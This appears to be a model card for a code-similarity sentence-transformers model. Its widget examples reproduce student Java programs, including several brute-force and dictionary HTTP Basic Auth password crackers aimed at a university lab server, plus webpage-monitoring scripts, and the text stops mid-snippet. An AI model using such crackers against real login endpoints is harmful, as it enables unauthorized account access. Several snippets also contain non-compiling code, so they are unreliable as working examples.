File size: 119,619 Bytes
9f9c1d7 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:34368
- loss:CachedMultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport\
\ java.util.*;\n\nclass BruteForce {\n\n String password=\"\";\n\n int num\
\ =401;\n\n\n public static void main (String[] args) {\n\n String str=\"\
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n BruteForce URLcon;\n\
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\
\ \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n\
\ \t\t\n \t\t\"Usage : java BruteForce <username>\");\n \treturn;\n\
\ \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\
\n System.out.println (\" \" + new Date());\n \n System.out.println\
\ (\"Using BruteForce method attack \"+username+\"'s password.Please waiting.......\"\
);\n\n for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\
\ \n \treturn;\n\n }\n\n for\
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ System.out.println (\"Finish \" + new Date());\n \
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ \n System.out.println (\"Finish \" + new\
\ Date());\n \n \t return;\n\n \
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\
\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\
\ String line =\"\";\n \n if (args.length == 0) {\n \t\n \
\ System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\"\
);\n return;\n \t\n }\n \n String username = args[0];\n\
\ \n \n t0=System.currentTimeMillis();\n \n System.out.println\
\ (\" \" + new Date());\n System.out.println (\"Using Dictionary method\
\ attack \"+username+\"'s password. Please waiting.......\");\n\n try{\
\ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\
));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon\
\ = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\
\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \
\ \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds\");\n \n System.out.println (\"Finish\
\ \" + new Date());\n \n \treturn;\n\n \
\ }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \t\
System.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n\
\ }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n\
\ public Dictionary (String password,String username) {\n\n \t String urlString\
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n \
\ String userPassword = username+\":\"+password ;\n\n String encoding\
\ = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\
\ URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "import java.util.*;\nimport java.io.*;\nimport java.*;\n\npublic class Dogs5\n\
{\n public static void main(String [] args) throws Exception\n { \n \
\ executes(\"rm index.*\");\n executes(\"wget http://www.cs.rmit.edu./students\"\
);\n\n while (true)\n {\n String addr= \"wget http://www.cs.rmit.edu./students\"\
;\n executes(addr);\n String hash1 = md5sum(\"index.html\");\n\
\ String hash2 = md5sum(\"index.html.1\");\n System.out.println(hash1\
\ +\"|\"+ hash2);\n \n BufferedReader buf = new BufferedReader(new FileReader(\"\
/home/k//Assign2/ulist1.txt\"));\n\n String line=\" \" ;\n String\
\ line1=\" \" ;\n String line2=\" \";\n String line3=\" \";\n\
\ String[] cad = new String[10];\n \n executes(\"./.sh\"\
);\n \n int i=0;\n while ((line = buf.readLine()) != null)\n\
\ {\n \n line1=\"http://www.cs.rmit.edu./students/images\"\
+line;\n if (i==1)\n line2=\"http://www.cs.rmit.edu./students/images\"\
+line;\n if (i==2)\n line3=\"http://www.cs.rmit.edu./students/images\"\
+line;\n i++;\n }\n System.out.println(line1+\" \"\
+line2+\" \"+line3); \n\n\n executes(\"wget \"+line1);\n executes(\"\
wget \"+line2);\n executes(\"wget \"+line3);\n \n String\
\ hash3 = md5sum(\"index.html.2\"); \n String hash4 = md5sum(\"index.html.3\"\
); \n String hash5 = md5sum(\"index.html.4\");\n\n \n\n\nBufferedReader\
\ buf2 = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\
\n String linee=\" \" ;\n String linee1=\" \" ;\n String\
\ linee2=\" \";\n String linee3=\" \";\n\n executes(\"./ip1.sh\"\
);\n\n int j=0;\n while ((linee = buf2.readLine()) != null)\n\
\ {\n\n linee1=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n if (j==1)\n linee2=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n if (j==2)\n linee3=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n j++;\n }\n System.out.println(line1+\" \"\
+line2+\" \"+line3);\n\n\n executes(\"wget \"+linee1);\n executes(\"\
wget \"+linee2);\n executes(\"wget \"+linee3);\n\n String hash6\
\ = md5sum(\"index.html.5\");\n String hash7 = md5sum(\"index.html.6\"\
);\n String hash8 = md5sum(\"index.html.7\"); \n \n \
\ boolean pict=false;\n if (hash3.equals(hash6))\n pict=true;\n\
\n boolean pict2=false;\n if (hash3.equals(hash6))\n \
\ pict2=true;\n \n boolean pict3=false;\n if (hash3.equals(hash6))\n\
\ pict3=true;\n\n \n if (hash1.equals(hash2))\n \
\ { \n executes(\"./difference.sh\");\n executes(\"./mail.sh\"\
);\n \n \n\n }\n else\n {\n if (pict\
\ || pict2 || pict3)\n {\n executes(\".~/Assign2/difference.sh\"\
); \n executes(\".~/Assign2/mail2.sh\");\n \
\ }\n\n executes(\".~/Assign2/difference.sh\");\n executes(\"\
.~/Assign2/mail.sh\");\n \n \n \n executes(\"./reorder.sh\"\
);\n executes(\"rm index.html\");\n executes(\"cp index.html.1\
\ index.html\");\n executes(\"rm index.html.1\");\n executes(\"\
sleep 5\"); \n } \n }\n }\n\n public static void executes(String\
\ comm) throws Exception\n {\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", comm });\n\n BufferedReader bf = new BufferedReader(new\
\ InputStreamReader(p.getErrorStream()));\n\n String cad;\n while((\
\ cad = bf.readLine()) != null)\n {\n System.out.println();\n\
\ }\n\t p.waitFor();\n }\n\n public static String md5sum(String file)\
\ throws Exception\n {\n String cad;\n String hash= \" \"; \n\
\n Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\"\
,\n \"-c\", \"md5sum \"+file });\n\
\ BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\
\n while((bf = cad.readLine()) != null)\n {\n StringTokenizer\
\ word=new StringTokenizer();\n hash=word.nextToken();\n System.out.println(hash);\n\
\ }\n return hash; \n\n }\n\n \n \n}\n\n"
- "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class BruteForce\n\
{\n public static void main(String[] args) throws Exception\n {\n \n\
\ String password = checkPassword(); \n\n System.out.println(\"Congratulations\
\ Your password is \"+ password );\n \n \n\n URL url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(\":\"+password));\n\
\ BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));\n\
\ String inputLine;\n\n while ((inputLine = in.readLine()) != null)\n\
\ System.out.println(inputLine);\n in.close();\n }\n\n \n\n \
\ private static String checkPassword() throws Exception\n {\n String\
\ Password=\" \";\n int attempt=0;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
);\n HttpURLConnection sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\"\
,\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\n \
\ \"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
z\",\n \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"\
I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"\
R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i\
\ < cad.length; i++)\n {\n for (int j=0; j< cad.length;j++)\n \
\ {\n for (int k=0; k<cad.length;k++)\n {\n \
\ attempt++;\n String Passwd = new String(cad[i]+cad[j]+cad[k]);\n\
\ String userPasswd= \":\"+Passwd;\n System.out.println(attempt+\"\
\ \"+userPasswd);\n \n sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\
\n if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n \
\ {\n Password=Passwd;\n return Password;\n\
\ }\n sec.disconnect();\n } \n \
\ } \n } \n return \"Password not found\";\n }\n\n private static\
\ String encode(String userPasswd) throws Exception\n {\n String ad;\n\
\ String encodedUserPasswd=\" \";\n String addr= \"~//base64_encode.php\
\ \"+userPasswd ;\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", addr});\n BufferedReader resp = new BufferedReader(new\
\ InputStreamReader(p.getInputStream()));\n \n while ( (cad = resp.readLine())\
\ != null )\n {\n \n encodedUserPasswd=cad;\n }\n \
\ return encodedUserPasswd;\n }\n}\n\n"
- source_sentence: "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\
\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime\
\ t = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\
\t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr =\
\ t.exec(\"md5sum csfirst.html\");\n\n InputStreamReader stre\
\ = new InputStreamReader(pr.getInputStream());\n BufferedReader\
\ bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\
\t\t index = s.indexOf(' ');\n\t\t Fmd5 = s.substring(0,index);\n\t\t \
\ System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t \
\ pr = t.exec(\"wget http://www.cs.rmit.edu./students/\");\n\t\t pr = null;\n\
\t\t \n\t\t pr = t.exec(\"md5sum index.html\");\n\t\t \n\n\t\t InputStreamReader\
\ stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader\
\ bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\
\t\t index = temp1.indexOf(' ');\n\t\t Smd5 = temp1.substring(0,index);\n\
\t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5\
\ == Smd5)\n\t\t System.out.println(\" changes Detected\");\n\t\t else\n\
\t\t {\n\t\t pr = t.exec(\"diff csfirst.html index.html > report.html\"\
);\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\
\t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(\" Message.txt\
\ | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.\");\n\t\t\
\ \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException\
\ e){}\n\t}\n}\t\t\n"
sentences:
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\
\ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\
\ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\
\ String mesg1 = new String();\n String subject = new String(\"\
Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \
\ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\
\ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\
\ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\
\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\
\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \
\ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\
\ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\
md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\
\ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\
\ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\
\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\
\ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\
\ \n if(initialmd5.equals(presentmd5))\n \
\ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\
\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\
);\n System.out.println(\" is different\"); \n \
\ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \
\ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\
rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\
}\t\t\n"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\
\ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.net.*; \nimport java.io.*; \nimport java.util.Date; \npublic\
\ class Dictionary{\nprivate static String password=\" \"; \n\n \n public\
\ static void main(String[] args) {\n String Result=\"\"; \n\t if (args.length<1)\n\
\t {\n System.out.println(\"Correct Format Filename username e.g<>\");\
\ \n System.exit(1);\t\n\t }\n\t \n\t Dictionary dicton1 = new Dictionary();\n\
\ Result=dicton1.Dict(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\
\ \n\t System.out.println(\"Cracked Password for The User \"+args[0]+\" The Password\
\ is..\"+Result); \n \n\n \n \n }\n\n\n\n private String Dict(String urlString,String\
\ username) \n { \n int cnt=0;\n FileInputStream stream=null;\n DataInputStream\
\ word=null;\n\n\ttry{ \n\t stream = new FileInputStream (\"/usr/share/lib/dict/words\"\
); \n\n\tword =new DataInputStream(stream);\n\t t0 = System.currentTimeMillis();\
\ \n\t\t while (word.available() !=0) \n\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\t\
password=word.readLine();\n\t\t\t\t if (password.length()!=3)\n\t\t\t\t {\n\t\t\
\t\t\tcontinue;\n\t\t\t\t }\n\t\t\t\t System.out.print(\"crackin...:\"); \n\t\t\
\t System.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t URL\
\ url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password;\
\ \n\t\t\t\t \n\t\t\t\t String encoding = new url.misc.BASE64Encoder().encode\
\ (userPassword.getBytes());\n\t\t\t\t\t URLConnection conc = url.openConnection();\n\
\t\t\t\t\t\t conc.setRequestProperty (\"Authorization\", \" \" + encoding);\t\
\t\t \n\t\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\t cnt++;\n\t\t\t\t\t \
\ if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\
\t\t\t\t\t {\n\t\t\t\t\t\t\tSystem.out.println(\"The Number Of Attempts : \"+cnt);\
\ \n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\t\t\t\t\t\t net=t1-t0;\n\
\t\t\t\t\t\t\tSystem.out.println(\"Total Time in secs...\"+net/1000); \n\t\t\t\
\t\t\t\treturn password; \n\t\t\t\t\t\t}\n \t\t \t\t\n\t }\n\n\t\t\t\t\
}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t e.printStackTrace();\
\ \n\n\t\t\t\t}\n\n \ntry\n{\nword.close();\nstream.close(); \n\t\n}\n \n\
catch (IOException e)\n{ \nSystem.out.println(\"Error in closing input file:\\\
n\" + e.toString()); \n} \n\nreturn \"Password could not found\"; \n } \n \n\
\n}"
- source_sentence: "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\
\ extends Authenticator {\n\n \n private String username;\n \n private\
\ char [] thisPassword;\n \n private URL url;\n \n private BufferedReader\
\ bf;\n\n \n public static void main(String [] args) {\n if(args.length!=3)\
\ {\n System.err.println(\n \"usage: Dictionary\
\ <url> <username> <dictionary-file>\");\n System.exit(1);\n \
\ }\n Dictionary d = null;\n try {\n d = new Dictionary(args[0],\
\ args[1], args[2]);\n } catch (MalformedURLException me) {\n \
\ me.printStackTrace();\n System.exit(1);\n } catch (FileNotFoundException\
\ fe) {\n fe.printStackTrace();\n System.exit(1);\n \
\ }\n d.work();\n }\n\n \n public Dictionary(String url, String\
\ username, String passwordFilename) \n throws MalformedURLException,\
\ FileNotFoundException {\n this.url = new URL(url);\n this.username\
\ = username;\n thisPassword = new char [] {'a'};\n File f = new\
\ File(passwordFilename);\n FileReader fr = new FileReader(f);\n \
\ bf = new BufferedReader(fr);\n }\n\n \n public void work() {\n \
\ Authenticator.setDefault(this);\n HttpURLConnection uc = null;\n\
\ try { \n uc\
\ = (HttpURLConnection) url.openConnection(); \n uc.connect(); \
\ \n while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\
\ &&\n thisPassword !=null) {\n try { \
\ \n InputStream is = uc.getInputStream();\
\ \n uc.connect(); \n \
\ } catch (ProtocolException pe) { \n \
\ uc = (HttpURLConnection) url.openConnection(); \n \
\ } catch (NullPointerException npe) { \n npe.printStackTrace();\
\ \n System.exit(1); \
\ \n } \n \
\ } \n } catch\
\ (java.io.IOException e ) { \n e.printStackTrace();\
\ \n System.exit(1); \
\ \n } \
\ \n System.out.println(\"password=\" + new String(thisPassword));\n\
\ }\n\n \n public PasswordAuthentication getPasswordAuthentication()\
\ {\n String s=null;\n try {\n for(s = bf.readLine();\
\ s!=null; s = bf.readLine()) {\n if(s.length()==3) {\n \
\ break;\n }\n } \n } catch (IOException\
\ e) {\n e.printStackTrace();\n System.exit(1);\n \
\ }\n if(s.length()!=3) {\n thisPassword = null;\n }\
\ else {\n thisPassword = s.toCharArray();\n }\n return\
\ new PasswordAuthentication(username, thisPassword);\n }\n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
\ uc;\n String strPassword = new String();\n String strEncode;\n \
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
